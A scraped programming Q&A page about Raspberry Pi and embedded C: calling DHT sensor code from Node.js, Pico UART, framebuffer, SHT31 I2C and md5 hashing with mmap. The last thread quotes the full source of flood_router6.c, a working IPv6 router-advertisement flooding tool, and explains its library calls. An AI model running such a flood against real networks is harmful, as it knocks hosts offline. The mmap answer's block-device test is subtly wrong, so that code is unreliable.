Run C library from Node.js - c++

I'm completely new to C, but have a small program (interfacing with hardware on RaspberryPi) that I'd like to be able to run from Node.js. From what I can make out in the Node.js docs, I can run a C++ program by exporting the program as a NODE_MODULE http://nodejs.org/api/addons.html
I've been trying to figure out the differences between C and C++, but am unsure if I can just export the code I want to run as a C++ file (maybe by changing the file extension to .cc?) Or if there is another way to use the C code in node.js.
Also, I don't understand if I need to 'build' the C file, or if I can provide node.js with the .c file extension.
I do not want to run the C code using the Node's child process, though I know that is possible. I would much prefer to export the C code as a module, as the Node.js documents describe.
Here's the code I'm looking to run in node.js
// How to access GPIO registers from C-code on the Raspberry-Pi
// Example program
// 15-January-2012
// Dom and Gert
//
// Access from ARM Running Linux
#define BCM2708_PERI_BASE 0x20000000
#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) /* GPIO controller */
// WOULD I INCLUDE NODE.js HERE?? ##define BUILDING_NODE_EXTENSION
#include <node.h>
using namespace v8;
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <bcm2835.h>
#include <unistd.h>
#define MAXTIMINGS 100
//#define DEBUG
#define DHT11 11
#define DHT22 22
#define AM2302 22
int readDHT(int type, int pin);
int main(int argc, char **argv)
{
if (!bcm2835_init())
return 1;
if (argc != 3) {
printf("usage: %s [11|22|2302] GPIOpin#\n", argv[0]);
printf("example: %s 2302 4 - Read from an AM2302 connected to GPIO #4\n", argv[0]);
return 2;
}
int type = 0;
if (strcmp(argv[1], "11") == 0) type = DHT11;
if (strcmp(argv[1], "22") == 0) type = DHT22;
if (strcmp(argv[1], "2302") == 0) type = AM2302;
if (type == 0) {
printf("Select 11, 22, 2302 as type!\n");
return 3;
}
int dhtpin = atoi(argv[2]);
if (dhtpin <= 0) {
printf("Please select a valid GPIO pin #\n");
return 3;
}
printf("Using pin #%d\n", dhtpin);
readDHT(type, dhtpin);
return 0;
} // main
int bits[250], data[100];
int bitidx = 0;
int readDHT(int type, int pin) {
int counter = 0;
int laststate = HIGH;
int j=0;
// Set GPIO pin to output
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_OUTP);
bcm2835_gpio_write(pin, HIGH);
usleep(500000); // 500 ms
bcm2835_gpio_write(pin, LOW);
usleep(20000);
bcm2835_gpio_fsel(pin, BCM2835_GPIO_FSEL_INPT);
data[0] = data[1] = data[2] = data[3] = data[4] = 0;
// wait for pin to drop?
while (bcm2835_gpio_lev(pin) == 1) {
usleep(1);
}
// read data!
for (int i=0; i< MAXTIMINGS; i++) {
counter = 0;
while ( bcm2835_gpio_lev(pin) == laststate) {
counter++;
//nanosleep(1); // overclocking might change this?
if (counter == 1000)
break;
}
laststate = bcm2835_gpio_lev(pin);
if (counter == 1000) break;
bits[bitidx++] = counter;
if ((i>3) && (i%2 == 0)) {
// shove each bit into the storage bytes
data[j/8] <<= 1;
if (counter > 200)
data[j/8] |= 1;
j++;
}
}
#ifdef DEBUG
for (int i=3; i<bitidx; i+=2) {
printf("bit %d: %d\n", i-3, bits[i]);
printf("bit %d: %d (%d)\n", i-2, bits[i+1], bits[i+1] > 200);
}
#endif
printf("Data (%d): 0x%x 0x%x 0x%x 0x%x 0x%x\n", j, data[0], data[1], data[2], data[3], data[4]);
if ((j >= 39) &&
(data[4] == ((data[0] + data[1] + data[2] + data[3]) & 0xFF)) ) {
// yay!
if (type == DHT11)
printf("Temp = %d *C, Hum = %d \%\n", data[2], data[0]);
if (type == DHT22) {
float f, h;
h = data[0] * 256 + data[1];
h /= 10;
f = (data[2] & 0x7F)* 256 + data[3];
f /= 10.0;
if (data[2] & 0x80) f *= -1;
printf("Temp = %.1f *C, Hum = %.1f \%\n", f, h);
}
return 1;
}
return 0;
}

If you're completely new to C, it might actually be less of a headache to do this all from javascript-land instead, using one of several modules on npm for interacting with GPIO (on the Pi). One such module is the onoff module.

Related

Cannot send serial data from raspberry pi pico ( c sdk )

I'm making a remote controlled machine using a pi pico to drive the motors and read some sensors, and a raspberry pi 4 to send commands to the pi pico via serial and host the web interface.
I am currently testing the operation of the serial from the pi pico. To do this I have connected the pi pico with the raspberry in the following way:
Currently, I am using the following files:
1. main.c to receive and send
2. ring_queue.h where the code for the ring queue is located
main.c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "pico/stdlib.h"
#include "hardware/uart.h"
#include "hardware/irq.h"
#include "ring_queue.h"
#define UART_ID uart0
#define BAUD_RATE 115200
#define DATA_BITS 8
#define STOP_BITS 1
#define PARITY UART_PARITY_NONE
#define UART_TX_PIN 0
#define UART_RX_PIN 1
#define LED_PIN PICO_DEFAULT_LED_PIN
volatile int chars_rxed = 0;
volatile char uCommand[32];
volatile queue *rx_queue;
volatile queue *tx_queue;
void receive_rx(){
while(uart_is_readable(UART_ID)){
char ch = uart_getc(UART_ID);
printf("Got a ch! %c\n", ch);
if(ch != 10){
uCommand[chars_rxed] = ch;
}
printf("Should have added it to uCommand: %s\n", uCommand);
if(uCommand[chars_rxed] == '/'){
printf("End of the command\n");
queue_enqueue((queue*)rx_queue, (char*)uCommand);
memset((char*)uCommand, 0, sizeof(uCommand));
chars_rxed = 0;
break;
}
if(ch != 10) chars_rxed++;
}
}
void send_tx(){
if(queue_empty((queue*)tx_queue) == 1){
return;
}
else{
printf("Trying to send something\n");
char *foo = queue_dequeue((queue*)tx_queue);
uart_write_blocking(UART_ID, (char*)foo, 32);
//printf("%s\n", queue_dequeue((queue*)tx_queue));
}
}
int main(){
stdio_init_all();
memset((char*)uCommand, 0, sizeof(uCommand));
rx_queue = create_queue(32);
tx_queue = create_queue(32);
uart_init(UART_ID, BAUD_RATE);
gpio_set_function(UART_TX_PIN, GPIO_FUNC_UART);
gpio_set_function(UART_RX_PIN, GPIO_FUNC_UART);
uart_set_hw_flow(UART_ID, false, false);
uart_set_format(UART_ID, DATA_BITS, STOP_BITS, PARITY);
uart_set_fifo_enabled(UART_ID, true);
int UART_IRQ = UART_ID == uart0 ? UART0_IRQ : UART1_IRQ;
irq_set_exclusive_handler(UART_IRQ, receive_rx);
irq_set_enabled(UART_IRQ, true);
uart_set_irq_enables(UART_ID, true, false);
while (1){
tight_loop_contents();
if(queue_size((queue*)rx_queue) != 0){
printf("Moving from rx to tx to print the received command\n");
queue_enqueue((queue*)tx_queue, queue_dequeue((queue*)rx_queue));
}
send_tx();
}
}
ring_queue.h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
unsigned int tail; // current tail
unsigned int head; // current head
unsigned int size; // current number of items
unsigned int capacity; // Capacity of queue
char** data; // Pointer to array of data
} queue;
queue *create_queue(unsigned int _capacity){
printf("Malloc!\n");
queue *myQueue = malloc(sizeof(queue));
printf("Malloc done!\n");
if (myQueue == NULL ){
printf("Malloc failed!\n");
return NULL;
}
else {
printf("Malloc succeed!\n");
myQueue->tail = -1;
myQueue->head = 0;
myQueue->size = 0;
myQueue->capacity = _capacity;
myQueue->data = malloc(_capacity * sizeof(char*));
return myQueue;
}
}
int queue_empty(queue *q) {
if(q == NULL) return -1;
else if(q->size == 0) return 1;
else return 0;
}
int queue_full(queue *q) {
if(q == NULL) return -1;
else if(q->size == q->capacity) return 1;
else return 0;
}
int queue_enqueue(queue *q, const char *item) {
if (q == NULL) return -1;
else if (queue_full(q) == 1) return 0;
else {
q->tail = (q->tail + 1) % q->capacity;
q->data[q->tail] = strdup(item);
q->size++;
return 1;
}
}
char *queue_dequeue(queue *q) {
if(q == NULL) return NULL;
else if(queue_empty(q) == 1) return '\0';
else {
char *item = q->data[q->head];
q->head = (q->head + 1) % q->capacity;
q->size--;
return item;
}
}
unsigned int queue_size(queue *q) {
if (q == NULL) return - 1;
else return q->size;
}
void free_queue(queue *q) {
for(int i = 0; i < q->capacity; i++) free(q->data[i]);
free(q->data);
free(q);
}
I'm using the usb for debbugging and when I send a simple command (via the arduino IDE) like $MOVE / I can receive it correctly but not send it back as serial, instead with the usb I can ( the printf under the uart_write_blocking).
When I try to send via uart I get random characters on the arduino serial prompt and the pico also seems to receive some of the ones it sent.
What are the random characters on the serial prompt? and what characters do you expect?
The third argument (length) of uart_write_blocking is hardcoded to 32, so this function will always try to send 32 bytes back to the raspberry pi -- that could cause some random characters to show up if the string the pico is trying to send is actually less than that. I'd try changing this code snippet to this and see if that stops the random characters.
printf("Trying to send something\n");
char *foo = queue_dequeue((queue*)tx_queue);
uart_write_blocking(UART_ID, (char*)foo, strlen(foo)); // only send as many bytes as are in the string

C++ writing to Framebuffer, wrong screensize

i try to write to the Linux framebuffer with c++, my problem is, that my program cant write to the whole screen, because the screensize i get is wrong. Although this code worked on an older VM, but i lost it.
#include <fcntl.h>
#include <unistd.h>
#include <linux/fb.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <cerrno>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
int main() {
fb_var_screeninfo vinfo;
fb_fix_screeninfo finfo;
size_t screensize = 0;
long int location = 0;
/* Open the file for reading and writing */
int fbfd = open("/dev/fb0", O_RDWR);
if(fbfd == -1) {
perror("Error: cannot open framebuffer device");
exit(1);
}
printf("The framebuffer device was opened successfully.\n");
/* Get fixed screen information */
if(ioctl(fbfd, FBIOGET_FSCREENINFO, &finfo) == -1) {
perror("Error reading fixed information");
exit(2);
}
/* Get variable screen information */
if(ioctl(fbfd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
perror("Error reading variable information");
exit(3);
}
/* Figure out the size of the screen in bytes */
screensize = vinfo.xres * vinfo.yres * vinfo.bits_per_pixel / 8;
printf("Screen size is %ld\n", screensize);
printf("Vinfo.bpp = %d\n", vinfo.bits_per_pixel);
/* Map the device to memory */
auto fbp = static_cast<unsigned char*>(
mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED, fbfd, 0));
if(fbp == MAP_FAILED) {
perror("Error: failed to map framebuffer device to memory");
exit(4);
}
printf("The framebuffer device was mapped to memory successfully.\n");
unsigned x = 0;
unsigned y = 0; /* Where we are going to put the pixel */
/* Figure out where in memory to put the pixel */
location = (x + vinfo.xoffset) * (vinfo.bits_per_pixel / 8) +
(y + vinfo.yoffset) * finfo.line_length;
for(uint32_t i = 0; i < vinfo.yres; i++) {
for(uint32_t count = 1; count < vinfo.xres; count++) {
fbp[location++] = 255; /* Some blue */
fbp[location++] = 0; /* A little green */
fbp[location++] = 0; /* A lot of red */
fbp[location++] = 0; /* No transparency */
}
}
munmap(fbp, screensize);
close(fbfd);
return 0;
}
I tried increasing the screensize by multiplying it by 2 and it wrote to the full screen, but then my coordinates are wrong.

Adafruit SHT31-D and Raspberry Pi2 -- Unable to read data from sensor

hopefully one of you out there can help me!
I am trying to use the Adafruit SHT31-D (an i2c device) board with my Pi2. I am going off of this datasheet to guide my coding efforts. I am using Wiring Pi (wiringpi.com) to facilitate things.
I am able to successfully open a connection to the device, and sending commands seems to work fine, but I am unable to read data back! Here is the little mini library I have put together. I am hoping that one of you might have some experience with this sort of thing and be able to help me see where I've gone wrong.
To rule out any possible issues with the sensor hardware, I have tested it with my Arduino UNO and it works without issues.
Here is my C++ code:
SHT3x.h
#pragma once
/* Sensor Commands */
#define DEFAULT_SHT_ADDR 0x44
#define MEAS_HREP_STRETCH 0x2C06
#define MEAS_MREP_STRETCH 0x2C0D
#define MEAS_LREP_STRETCH 0x2C10
#define MEAS_HREP 0x2400
#define MEAS_MREP 0x240B
#define MEAS_LREP 0x2416
#include <cstdint>
class SHT3x {
public:
SHT3x(const uint8_t& i2cAddr);
float readHumidity(const uint16_t& command) const;
float readTempC(const uint16_t& command) const;
float readTempF(const uint16_t& command) const;
private:
int8_t _fd;
uint8_t _header;
uint32_t getMeasurement(const uint16_t& command) const;
void sendCommand(const uint16_t& command) const;
uint32_t receiveData(void) const;
};
SHT3x.cpp
#include <stdexcept>
#include <wiringPi.h>
#include <wiringPiI2C.h>
#include "SHT3x.h"
SHT3x::SHT3x(const uint8_t& i2cAddr) {
_fd = wiringPiI2CSetup(i2cAddr);
_header = i2cAddr << 1;
if (_fd < 0) {
throw std::runtime_error("Unable to connect");
}
}
float SHT3x::readHumidity(const uint16_t& command) const {
uint32_t raw_data = getMeasurement(command);
if (!raw_data) {
throw std::runtime_error("Bad Reading.");
}
uint16_t raw_humidity = raw_data & 0xFFFF;
float humidity = 100.0 * ((float) raw_humidity / (float) 0xFFFF);
return humidity;
}
float SHT3x::readTempC(const uint16_t& command) const {
uint32_t raw_data = getMeasurement(command);
if (!raw_data) {
throw std::runtime_error("Bad Reading.");
}
uint16_t raw_temp = raw_data >> 16;
float tempC = -45.0 + (175.0 * ((float) raw_temp / (float) 0xFFFF));
return tempC;
}
float SHT3x::readTempF(const uint16_t& command) const {
uint32_t raw_data = getMeasurement(command);
if (!raw_data) {
throw std::runtime_error("Bad Reading.");
}
uint16_t raw_temp = raw_data >> 16;
float tempF = -49.0 + (315.0 * ((float) raw_temp / (float) 0xFFFF));
return tempF;
}
uint32_t SHT3x::getMeasurement(const uint16_t& command) const {
try {
sendCommand(command);
} catch (std::runtime_error& e) {
throw;
}
return receiveData();
}
void SHT3x::sendCommand(const uint16_t& command) const {
// break command into bytes
uint8_t MSB = command >> 8;
uint8_t LSB = command & 0xFF;
// send header
int8_t ack = wiringPiI2CWrite(_fd, _header);
// send command
ack &= wiringPiI2CWrite(_fd, MSB);
ack &= wiringPiI2CWrite(_fd, LSB);
// handle errors
if (ack) {
throw std::runtime_error("Sending command failed.");
}
}
uint32_t SHT3x::receiveData(void) const {
uint32_t data;
// send header
uint8_t read_header = _header | 0x01;
int8_t ack = wiringPiI2CWrite(_fd, read_header);
// handle errors
if (ack) throw std::runtime_error("Unable to read data.");
// read data
data = wiringPiI2CRead(_fd);
for (size_t i = 0; i < 4; i++) {
printf("Data: %d\n", data);
data <<= 8;
if (i != 1) {
data |= wiringPiI2CRead(_fd);
} else {
wiringPiI2CRead(_fd); // skip checksum
}
}
wiringPiI2CRead(_fd); // second checksum
return data;
}
The SHT31 uses 16bit read and write, rather than using 2 8bit writes you might be better off using wiringpi's 16bit write. wiringPiI2CWriteReg16(). Same thing applies to the read.
Below is a very early copy of what I've done to read the sht31-d on a PI. It has no dependencies except i2c-dev. Heater enable/disable is not working, but softreset, clearstatus, getserial & get temp/humid are all fine.
/*
* Referances
* https://www.kernel.org/doc/Documentation/i2c/dev-interface
* https://github.com/adafruit/Adafruit_SHT31
* https://www.sensirion.com/fileadmin/user_upload/customers/sensirion/Dokumente/Humidity_and_Temperature_Sensors/Sensirion_Humidity_and_Temperature_Sensors_SHT3x_Datasheet_digital.pdf
*
* This depends on i2c dev lib
* sudo apt-get install libi2c-dev
*
* Below is also a good one to have, but be careful i2cdump from the below cause the sht31 interface to become unstable for me
* and requires a hard-reset to recover correctly.
* sudo apt-get install i2c-tools
*
* on PI make sure below 2 commands are in /boot/config.txt
* dtparam=i2c_arm=on
* dtparam=i2c1_baudrate=10000
* I know we are slowing down the baurate from optimal, but it seems to be the most stable setting in my testing.
* add another 0 to the above baudrate for max setting, ie dtparam=i2c1_baudrate=100000
*/
#include <linux/i2c-dev.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <elf.h>
#include <unistd.h>
#define SHT31_INTERFACE_ADDR 1
#define SHT31_DEFAULT_ADDR 0x44
#define SHT31_READ_SERIALNO 0x3780
#define SHT31_MEAS_HIGHREP_STRETCH 0x2C06 // Doesn't work on PI
#define SHT31_MEAS_MEDREP_STRETCH 0x2C0D // Seems to work on PI but shouldn't
#define SHT31_MEAS_LOWREP_STRETCH 0x2C10 // Seems to work on PI but shouldn't
#define SHT31_MEAS_HIGHREP 0x2400 // Doesn't work on PI
#define SHT31_MEAS_MEDREP 0x240B
#define SHT31_MEAS_LOWREP 0x2416
#define SHT31_READSTATUS 0xF32D
#define SHT31_CLEARSTATUS 0x3041
#define SHT31_SOFTRESET 0x30A2
#define SHT31_HEATER_ENABLE 0x306D
#define SHT31_HEATER_DISABLE 0x3066
#define CHECK_BIT(var,pos) (((var)>>(pos)) & 1)
/*
* delay:
* Wait for some number of milliseconds
*********************************************************************************
*/
void delay (unsigned int howLong)
{
struct timespec sleeper, dummy ;
sleeper.tv_sec = (time_t)(howLong / 1000) ;
sleeper.tv_nsec = (long)(howLong % 1000) * 1000000 ;
nanosleep (&sleeper, &dummy) ;
}
/*
*
* CRC-8 formula from page 14 of SHT spec pdf
*
* Test data 0xBE, 0xEF should yield 0x92
*
* Initialization data 0xFF
* Polynomial 0x31 (x8 + x5 +x4 +1)
* Final XOR 0x00
*/
uint8_t crc8(const uint8_t *data, int len)
{
const uint8_t POLYNOMIAL = 0x31;
uint8_t crc = 0xFF;
int j;
int i;
for (j = len; j; --j ) {
crc ^= *data++;
for ( i = 8; i; --i ) {
crc = ( crc & 0x80 )
? (crc << 1) ^ POLYNOMIAL
: (crc << 1);
}
}
return crc;
}
/*
*
* buffer should return with data read, size defined by readsize
*********************************************************************************
*/
int writeandread(int fd, uint16_t sndword, uint8_t *buffer, int readsize)
{
int rtn;
uint8_t snd[3];
// Split the 16bit word into two 8 bits that are flipped.
snd[0]=(sndword >> 8) & 0xff;
snd[1]=sndword & 0xff;
rtn = write(fd, snd, 2);
if ( rtn != 2 ) {
return 1;
}
if (readsize > 0) {
delay(10);
rtn = read(fd, buffer, readsize);
if ( rtn < readsize) {
return 2;
}
}
return 0;
}
void printserialnum(int file)
{
uint8_t buf[10];
int rtn;
rtn = writeandread(file, SHT31_READ_SERIALNO, buf, 6);
if (rtn != 0)
printf("ERROR:- Get serial i2c %s failed\n",(rtn==1?"write":"read"));
else {
if (buf[2] != crc8(buf, 2) || buf[5] != crc8(buf+3, 2))
printf("WARNING:- Get serial CRC check failed, don't trust result\n");
uint32_t serialNo = ((uint32_t)buf[0] << 24)
| ((uint32_t)buf[1] << 16)
| ((uint32_t)buf[3] << 8)
| (uint32_t)buf[4];
printf("Serial# = %d\n",serialNo);
}
}
void printtempandhumidity(int file)
{
uint8_t buf[10];
int rtn;
rtn = writeandread(file, SHT31_MEAS_MEDREP_STRETCH, buf, 6);
if (rtn != 0)
printf("ERROR:- Get temp/humidity i2c %s failed\n",(rtn==1?"write":"read"));
else {
if ( buf[2] != crc8(buf, 2) || buf[5] != crc8(buf+3, 2))
printf("WARNING:- Get temp/humidity CRC check failed, don't trust results\n");
uint16_t ST, SRH;
ST = buf[0];
ST <<= 8;
ST |= buf[1];
SRH = buf[3];
SRH <<= 8;
SRH |= buf[4];
double stemp = ST;
stemp *= 175;
stemp /= 0xffff;
stemp = -45 + stemp;
double stempf = ST;
stempf *= 315;
stempf /= 0xffff;
stempf = -49 + stempf;
printf("Temperature %.2fc - %.2ff\n",stemp,stempf);
double shum = SRH;
shum *= 100;
shum /= 0xFFFF;
printf("Humidity %.2f%%\n",shum);
}
}
void printBitStatus(uint16_t stat)
{
printf("Status\n");
printf(" Checksum status %d\n", CHECK_BIT(stat,0));
printf(" Last command status %d\n", CHECK_BIT(stat,1));
printf(" Reset detected status %d\n", CHECK_BIT(stat,4));
printf(" 'T' tracking alert %d\n", CHECK_BIT(stat,10));
printf(" 'RH' tracking alert %d\n", CHECK_BIT(stat,11));
printf(" Heater status %d\n", CHECK_BIT(stat,13));
printf(" Alert pending status %d\n", CHECK_BIT(stat,15));
}
void printstatus(int file)
{
uint8_t buf[10];
int rtn;
rtn = writeandread(file, SHT31_READSTATUS, buf, 3);
if (rtn != 0)
printf("ERROR:- readstatus %s failed\n",(rtn==1?"write":"read"));
else {
if ( buf[2] != crc8(buf, 2))
printf("WARNING:- Get status CRC check failed, don't trust results\n");
uint16_t stat = buf[0];
stat <<= 8;
stat |= buf[1];
printBitStatus(stat);
}
}
void clearstatus(int file)
{
if( writeandread(file, SHT31_CLEARSTATUS, NULL, 0) != 0)
printf("ERROR:- sht31 clear status failed\n");
else
printf("Clearing status - ok\n");
}
void softreset(int file)
{
if( writeandread(file, SHT31_SOFTRESET, NULL, 0) != 0)
printf("ERROR:- sht31 soft reset failed\n");
else
printf("Soft reset - ok\n");
}
void enableheater(int file)
{
if( writeandread(file, SHT31_HEATER_ENABLE, NULL, 0) != 0)
printf("ERROR:- sht31 heater enable failed\n");
else
printf("Enabiling heater - ok\n");
}
void disableheater(int file)
{
if( writeandread(file, SHT31_HEATER_DISABLE, NULL, 0) != 0)
printf("ERROR:- sht31 heater enable failed\n");
else
printf("Disableing heater - ok\n");
}
int main()
{
int file;
char filename[20];
snprintf(filename, 19, "/dev/i2c-%d", SHT31_INTERFACE_ADDR);
file = open(filename, O_RDWR);
if (file < 0) {
printf("ERROR:- Can't open %s\n",filename);
exit(1);
}
if (ioctl(file, I2C_SLAVE, SHT31_DEFAULT_ADDR) < 0) {
printf("ERROR:- Connecting to sht31 I2C address 0x%02hhx\n", SHT31_DEFAULT_ADDR);
exit(1);
}
softreset(file);
printtempandhumidity(file);
printstatus(file);
close(file);
return 0;
}

Why is MD5Sum so fast

I've been studying hashing in C/C++ and tried to replicate the md5sum command in Linux. After analysing the source code, it seems that md5sum relies on the md5 library's md5_stream. I've approximated the md5_stream function from the md5.h library into the code below, and it runs in ~13-14 seconds. I've tried to call the md5_stream function directly and got ~13-14 seconds. The md5sum runs in 4 seconds. What have the GNU people done to get the speed out of the code?
The md5.h/md5.c code is available in the CoreUtils source code.
#include <QtCore/QCoreApplication>
#include <QtCore/QDebug>
#include <iostream>
#include <iomanip>
#include <fstream>
#include "md5.h"
#define BLOCKSIZE 32784
int main()
{
FILE *fpinput, *fpoutput;
if ((fpinput = fopen("/dev/sdb", "rb")) == 0) {
throw std::runtime_error("input file doesn't exist");
}
struct md5_ctx ctx;
size_t sum;
char *buffer = (char*)malloc (BLOCKSIZE + 72);
unsigned char *resblock = (unsigned char*)malloc (16);
if (!buffer)
return 1;
md5_init_ctx (&ctx);
size_t n;
sum = 0;
while (!ferror(fpinput) && !feof(fpinput)) {
n = fread (buffer + sum, 1, BLOCKSIZE - sum, fpinput);
if (n == 0){
break;
}
sum += n;
if (sum == BLOCKSIZE) {
md5_process_block (buffer, BLOCKSIZE, &ctx);
sum = 0;
}
}
if (n == 0 && ferror (fpinput)) {
free (buffer);
return 1;
}
/* Process any remaining bytes. */
if (sum > 0){
md5_process_bytes (buffer, sum, &ctx);
}
/* Construct result in desired memory. */
md5_finish_ctx (&ctx, resblock);
free (buffer);
for (int x = 0; x < 16; ++x){
std::cout << std::setfill('0') << std::setw(2) << std::hex << static_cast<uint16_t>(resblock[x]);
std::cout << " ";
}
std::cout << std::endl;
free(resblock);
return 0;
}
EDIT: Was a default mkspec problem in Fedora 19 64-bit.
fread() is convenient, but don't use fread() if you care about performance. fread() will copy from the OS to a libc buffer, then to your buffer. This extra copying cost CPU cycles and cache.
For better performance use open() then read() to avoid the extra copy. Make sure your read() calls are multiples of the block size, but lower than your CPU cache size.
For best performance use mmap() map the disk directly to RAM.
If you try something like the below code, it should go faster.
// compile gcc mmap_md5.c -lgcrypt
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <gcrypt.h>
#include <linux/fs.h> // ioctl
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int main(int argc, char *argv[])
{
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
unsigned char digest[16];
char digest_ascii[32+1] = {0,};
int digest_length = gcry_md_get_algo_dlen (GCRY_MD_MD5);
int i;
if (argc < 3 || argc > 4) {
fprintf(stderr, "%s file offset [length]\n", argv[0]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
offset = atoi(argv[2]);
pa_offset = offset & ~(sysconf(_SC_PAGE_SIZE) - 1);
if (sb.st_mode | S_IFBLK ) {
// block device. use ioctl to find length
ioctl(fd, BLKGETSIZE64, &length);
} else {
/* offset for mmap() must be page aligned */
if (offset >= sb.st_size) {
fprintf(stderr, "offset is past end of file size=%zd, offset=%d\n", sb.st_size, (int) offset);
exit(EXIT_FAILURE);
}
if (argc == 4) {
length = atoi(argv[3]);
if (offset + length > sb.st_size)
length = sb.st_size - offset;
/* Canaqt display bytes past end of file */
} else { /* No length arg ==> display to end of file */
length = sb.st_size - offset;
}
}
printf("length= %zd\n", length);
addr = mmap(NULL, length + offset - pa_offset, PROT_READ,
MAP_PRIVATE, fd, pa_offset);
if (addr == MAP_FAILED)
handle_error("mmap");
gcry_md_hash_buffer(GCRY_MD_MD5, digest, addr + offset - pa_offset, length);
for (i=0; i < digest_length; i++) {
sprintf(digest_ascii+(i*2), "%02x", digest[i]);
}
printf("hash=%s\n", digest_ascii);
exit(EXIT_SUCCESS);
}
It turned out to be an error in the Qt mkspecs regarding an optimization flag not being set properly.

some functions in flood_router6.c (DoS program in BackTrack)

This code is a Denial of Service attack program in BackTrack from http://www.thc.org/
The code's name is flood_router6.c
In the code shown below, I have problem what are these functions doing:
thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()
there are no functions like that in "thc-ipv6.h" library.
What are these functions do? I searched on google and there are no answer.
Anyone can help?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
extern int debug;
void help(char *prg) {
printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-r] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
int count = 0;
if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[1];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
count++;
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
memcpy(&buf[32], route6, 16);
buf[48] = 1;
buf[49] = 1;
memcpy(&buf[50], mac6, 6);
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
pkt = thc_destroy_packet(pkt);
usleep(1);
if (count % 100 == 0)
printf(".");
}
return 0;
}
THC-IPv6 is a set of tools used to attack inherent protocol weaknesses of IPV6.The project is a part of the THC, namely The Hacker's Choice. You can find the detail about this project:
http://www.thc.org/thc-ipv6/
The THC-IPv6 not only provides tools for attacking but also a handy library.The library can be used in developing your own applications, e.g. create a specific IPv6 packet.
http://www.thc.org/thc-ipv6/README
Basicly, thc_create_ipv6() is used to create a IPv6 packet with no extension headers.
thc_add_icmp6() will add the icmpv6 header to this packet and thc_generate_and_send_pkt() will send out this packet to wire. More detail about THC-IPv6 library pls refer to the README.
You did not really look - the functions are defined in thc-ipv6.h, the code for them is in thc-ipv6-lib.c
The function thc_create_ipv6() creates the basic IPv6 packet and is required before any other packet function of the library.
Then the_add_icmp6() adds an ICMPv6 header to the IPv6 packet.
There are more thc_add_* functions, e.g. for UDP, TCP or extension headers.
Finally thc_generate_and_send_pkt() will build the packet and send it to the network.
See the README.
The smurf6.c file is an easy example on how to use the library.